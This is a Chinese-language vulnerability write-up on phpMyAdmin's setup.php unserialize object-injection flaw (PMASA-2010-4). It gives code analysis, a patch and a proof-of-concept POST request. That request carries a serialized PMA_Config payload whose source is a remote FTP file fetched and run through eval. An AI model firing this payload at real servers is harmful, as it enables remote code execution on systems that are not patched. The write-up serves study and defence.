phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via unserialize Vul Object Injection PMASA-2010-4

Andrew.Hann發表於2015-01-21

目錄

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞程式碼分析
5. 防禦方法
6. 攻防思考

 

1. 漏洞描述

對這個漏洞簡單的概括如下

1. "/scripts/setup.php"會接收使用者傳送的序列化POST資料
action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A24%3A%22ftp%3A%2f%2f10.125.62.62%2fs.txt%22%3B%7D%7D
/*
token要動態獲取
action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}}
*/

2. "/scripts/setup.php"會對"$_POST['configuration']"進行反序列化
setup.php在反序列化的時候,程式未對輸入的原始資料進行有效地惡意檢測

3. 黑客可以在POST資料中注入"序列化後的PMA_Config物件"
setup.php在反序列化一個"序列化後的PMA_Config物件"的時候,會對這個物件進行"重新初始化",即再次呼叫它的建構函式
function __construct($source = null)
{
    $this->settings = array();

    // functions need to refresh in case of config file changed goes in
    // PMA_Config::load()
    $this->load($source);

    // other settings, independant from config file, comes in
    $this->checkSystem();

    $this->checkIsHttps();
}

4. PMA_Config物件的建構函式會重新引入"$source"對應的配置檔案,這個"$source"是物件重新初始化時本次註冊得到的,使用eval執行的方式將配置檔案中的變數"本地變數註冊化"
function load($source = null)
{
    $this->loadDefaults();

    if (null !== $source) {
        $this->setSource($source);
    }

    if (! $this->checkConfigSource()) {
        return false;
    }

    $cfg = array();

    /**
     * Parses the configuration file
     */
    $old_error_reporting = error_reporting(0);
    //使用eval方式引入外部的配置檔案
    if (function_exists('file_get_contents')) 
    {
        $eval_result = eval('?>' . trim(file_get_contents($this->getSource())));
    } 
    else 
    {
        $eval_result =
        eval('?>' . trim(implode("\n", file($this->getSource()))));
    }
    error_reporting($old_error_reporting);

    if ($eval_result === false) {
        $this->error_config_file = true;
    } else  {
        $this->error_config_file = false;
        $this->source_mtime = filemtime($this->getSource());
    }
    ...

最終的結果是,程式程式碼引入了黑客注入的外部檔案的PHP程式碼,並使用eval進行了執行,導致RCE

Relevant Link:

http://php.net/manual/zh/function.unserialize.php
http://drops.wooyun.org/papers/596
http://drops.wooyun.org/tips/3909
http://blog.csdn.net/cnbird2008/article/details/7491216


2. 漏洞觸發條件

0x1: POC

token需要動態獲取

1. POST
http://localhost/phpMyAdmin-2.10.0.2-all-languages/scripts/setup.php

2. DATA
action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A24%3A%22ftp%3A%2f%2f10.125.62.62%2fs.txt%22%3B%7D%7D
/*
source要是一個外部的文字檔案,需要返回的是原生的PHP程式碼
a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}}
*/



3. 漏洞影響範圍

1. phpmyadmin 2.10
2. <= phpmyadmin 2.10

 

4. 漏洞程式碼分析

0x1: PHP serialize && unserialize

關於PHP序列化、反序列化存在的安全問題相關知識,請參閱另一篇文章

http://www.cnblogs.com/LittleHann/p/4242535.html

0x2: "/scripts/setup.php"

if (isset($_POST['configuration']) && $action != 'clear' ) 
{
    // Grab previous configuration, if it should not be cleared
    $configuration = unserialize($_POST['configuration']);
} 
else 
{
    // Start with empty configuration
    $configuration = array();
}

漏洞的根源在於程式信任了使用者傳送的外部資料,直接進行本地序列化,從而導致"物件注入",黑客通過注入當前已經存在於程式碼空間的PMA_Config物件,php在反序列化的時候,會自動呼叫物件的__wakeup函式,在__wakeup函式中,會使用外部傳入的$source引數,作為配置檔案的來源,然後使用eval將其引入到原生程式碼空間

0x3: \libraries\Config.class.php

/**
     * re-init object after loading from session file
     * checks config file for changes and relaods if neccessary
     */
    function __wakeup()
    {
      //在執行__wakeup()的時候,$source已經被註冊為了外部傳入的$source引數
        if (! $this->checkConfigSource()
          || $this->source_mtime !== filemtime($this->getSource())
          || $this->default_source_mtime !== filemtime($this->default_source)
          || $this->error_config_file
          || $this->error_config_default_file) {
            $this->settings = array(); 
            $this->load();
            $this->checkSystem();
        }

        // check for https needs to be done everytime,
        // as https and http uses same session so this info can not be stored
        // in session
        $this->checkIsHttps();

        $this->checkCollationConnection();
        $this->checkFontsize();
    }


5. 防禦方法

0x1: Apply Patch

if (isset($_POST['configuration']) && $action != 'clear' ) 
{ 
    $configuration = array(); 
    //協議的匹配忽略大小寫
    if ( (strpos($_POST['configuration'], "PMA_Config") !== false) && ( (stripos($_POST['configuration'], "ftp://") !== false) || (stripos($_POST['configuration'], "http://") !== false) ) ) 
    { 
        $configuration = array();
    } 
    else
    {
        // Grab previous configuration, if it should not be cleared
        $configuration = unserialize($_POST['configuration']); 
    }  
} 
else 
{
    // Start with empty configuration
    $configuration = array();
}

 

6. 攻防思考

Copyright (c) 2014 LittleHann All rights reserved

 

相關文章